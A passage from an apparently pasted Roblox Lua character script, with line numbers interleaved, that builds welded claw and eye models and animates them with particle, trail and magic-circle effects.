Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
3070
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3071
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
3072
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3073
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
3074
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3075
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3076
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
3077
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3078
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
3079
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3080
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
3081
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
3082
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
3083
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3084
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
3085
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3086
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3087
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
3088
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3089
3090
local modelzorzz2=Instance.new("Model") 
3091
modelzorzz2.Parent=Character 
3092
modelzorzz2.Name="Claw2"
3093
3094
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
3095
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
3096
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
3097
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3098
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
3099
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3100
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
3101
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3102
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
3103
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3104
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
3105
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3106
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3107
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
3108
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3109
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3110
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
3111
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3112
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
3113
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3114
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3115
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
3116
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3117
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
3118
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3119
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3120
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
3121
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3122
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
3123
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3124
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3125
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
3126
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3127
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
3128
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3129
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
3130
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
3131
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
3132
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
3133
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3134
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
3135
3136
local modelzorzz3=Instance.new("Model") 
3137
modelzorzz3.Parent=Character 
3138
modelzorzz3.Name="Eye"
3139
3140
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3141
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
3142
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
3143
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3144
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3145
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
3146
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3147
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3148
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
3149
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(3.79999995, 4, 1.39999998))
3150
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3151
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
3152
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
3153
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3154
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
3155
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3156
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
3157
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3158
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3159
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3160
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
3161
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3162
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
3163
3164
p = game.Players.ThatProGamerKilledU
3165
char = p.Character
3166
torso = char.Torso
3167
neck = char.Torso.Neck
3168
hum = char.Humanoid
3169
hum.MaxHealth = 10000000
3170
wait()
3171
hum.Health =hum.MaxHealth
3172
3173
local particleemitter = Instance.new("ParticleEmitter", Handle)
3174
particleemitter.VelocitySpread = 180
3175
particleemitter.Lifetime = NumberRange.new(0.1)
3176
particleemitter.Speed = NumberRange.new(2)
3177
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3178
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3179
particleemitter.Rate = 100
3180
particleemitter.Rotation = NumberRange.new(-45, 45)
3181
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3182
particleemitter.LightEmission = 0.8
3183
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3184
3185
local particleemitter = Instance.new("ParticleEmitter", Handle2)
3186
particleemitter.VelocitySpread = 180
3187
particleemitter.Lifetime = NumberRange.new(0.1)
3188
particleemitter.Speed = NumberRange.new(2)
3189
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3190
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3191
particleemitter.Rate = 100
3192
particleemitter.Rotation = NumberRange.new(-45, 45)
3193
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3194
particleemitter.LightEmission = 0.8
3195
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3196
3197
local particleemitter = Instance.new("ParticleEmitter", handle)
3198
particleemitter.VelocitySpread = 180
3199
particleemitter.Lifetime = NumberRange.new(0.1)
3200
particleemitter.Speed = NumberRange.new(2)
3201
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
3202
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3203
particleemitter.Rate = 100
3204
particleemitter.Rotation = NumberRange.new(-45, 45)
3205
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3206
particleemitter.LightEmission = 0.8
3207
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3208
3209
particleemitter.Enabled = true
3210
    MagicCircle(BrickColor.new("White"),cf(Torso.Position),75,75,75,35,35,35,0.025)
3211
    MagicCircle(BrickColor.new("White"),cf(Torso.Position),76,76,76,36,36,36,0.025)
3212
    so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
3213
    so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
3214
    for i=0,1,0.005 do
3215
        swait()
3216
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3217
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3218
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3219
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3220
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3221
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3222
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3223
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3224
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3225
    end
3226
    for i=0,1,0.04 do
3227
        swait()
3228
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3229
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3230
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3231
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3232
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3233
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3234
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3235
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3236
    end
3237
attack = false
3238
end
3239
end
3240
end)
3241
3242
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3243
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3244
prt.Anchored=true
3245
prt.CFrame=cframe
3246
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3247
game:GetService("Debris"):AddItem(prt,2)
3248
coroutine.resume(coroutine.create(function(Part,Mesh) 
3249
for i=0,1,delay do
3250
wait()
3251
Part.CFrame=Part.CFrame
3252
Part.Transparency=i
3253
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3254
end
3255
Part.Parent=nil
3256
end),prt,msh)
3257
end
3258
3259
TrailDeb = false
3260
3261
function equipanim()
3262
    attack=true
3263
    Humanoid.WalkSpeed = 0
3264
    if TrailDeb == false then
3265
							TrailDeb = true
3266
						end
3267
3268
						
3269
coroutine.wrap(function()
3270
local Old = handle.CFrame.p
3271
while wait()do
3272
if not TrailDeb then break end
3273
local New = handle.CFrame.p
3274
local Mag =(Old -New).magnitude
3275
local Dis =(Old +New)/2
3276
local Trail = Instance.new("Part",Character)
3277
Trail.Material = "Neon"
3278
Trail.Anchored = true
3279
Trail.CanCollide = false
3280
Trail.BrickColor = TorsoColor
3281
Trail.Size = Vector3.new(0.2,Mag,0.2)
3282
Trail.TopSurface = 0
3283
Trail.BottomSurface = 0
3284
Trail.formFactor = "Custom"
3285
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3286
local ms = Instance.new("BlockMesh",Trail)
3287
ms.Scale = Vector3.new(1,1,1)
3288
local TM = Instance.new("CylinderMesh",Trail)
3289
TM.Scale = Vector3.new(1,1,1)
3290
Old = New
3291
coroutine.wrap(function()
3292
for i = 1,0,-0.1 do
3293
wait()
3294
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3295
end
3296
Trail:remove()
3297
end)()
3298
coroutine.wrap(function()
3299
for i = 1,10 do
3300
wait()
3301
Trail.Transparency = Trail.Transparency +0.1
3302
end end)()end end)()
3303
coroutine.wrap(function()
3304
local Old = Handle.CFrame.p
3305
while wait()do
3306
if not TrailDeb then break end
3307
local New = Handle.CFrame.p
3308
local Mag =(Old -New).magnitude
3309
local Dis =(Old +New)/2
3310
local Trail = Instance.new("Part",Character)
3311
Trail.Material = "Neon"
3312
Trail.Anchored = true
3313
Trail.CanCollide = false
3314
Trail.BrickColor = TorsoColor
3315
Trail.Size = Vector3.new(0.2,Mag,0.2)
3316
Trail.TopSurface = 0
3317
Trail.BottomSurface = 0
3318
Trail.formFactor = "Custom"
3319
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3320
local ms = Instance.new("BlockMesh",Trail)
3321
ms.Scale = Vector3.new(1,1,1)
3322
local TM = Instance.new("CylinderMesh",Trail)
3323
TM.Scale = Vector3.new(1,1,1)
3324
Old = New
3325
coroutine.wrap(function()
3326
for i = 1,0,-0.1 do
3327
wait()
3328
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3329
end
3330
Trail:remove()
3331
end)()
3332
coroutine.wrap(function()
3333
for i = 1,10 do
3334
wait()
3335
Trail.Transparency = Trail.Transparency +0.1
3336
end end)()end end)()
3337
coroutine.wrap(function()
3338
local Old = Handle2.CFrame.p
3339
while wait()do
3340
if not TrailDeb then break end
3341
local New = Handle2.CFrame.p
3342
local Mag =(Old -New).magnitude
3343
local Dis =(Old +New)/2
3344
local Trail = Instance.new("Part",Character)
3345
Trail.Material = "Neon"
3346
Trail.Anchored = true
3347
Trail.CanCollide = false
3348
Trail.BrickColor = TorsoColor
3349
Trail.Size = Vector3.new(0.2,Mag,0.2)
3350
Trail.TopSurface = 0
3351
Trail.BottomSurface = 0
3352
Trail.formFactor = "Custom"
3353
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3354
local ms = Instance.new("BlockMesh",Trail)
3355
ms.Scale = Vector3.new(1,1,1)
3356
local TM = Instance.new("CylinderMesh",Trail)
3357
TM.Scale = Vector3.new(1,1,1)
3358
Old = New
3359
coroutine.wrap(function()
3360
for i = 1,0,-0.1 do
3361
wait()
3362
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3363
end
3364
Trail:remove()
3365
end)()
3366
coroutine.wrap(function()
3367
for i = 1,10 do
3368
wait()
3369
Trail.Transparency = Trail.Transparency +0.1
3370
end end)()end end)()
3371
    so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) 
3372
    for i=0,1,0.005 do
3373
        swait()
3374
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
3375
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3376
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3377
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3378
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3379
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3380
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3381
    end
3382
    for i=0,1,0.005 do
3383
        swait()
3384
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
3385
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3386
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3387
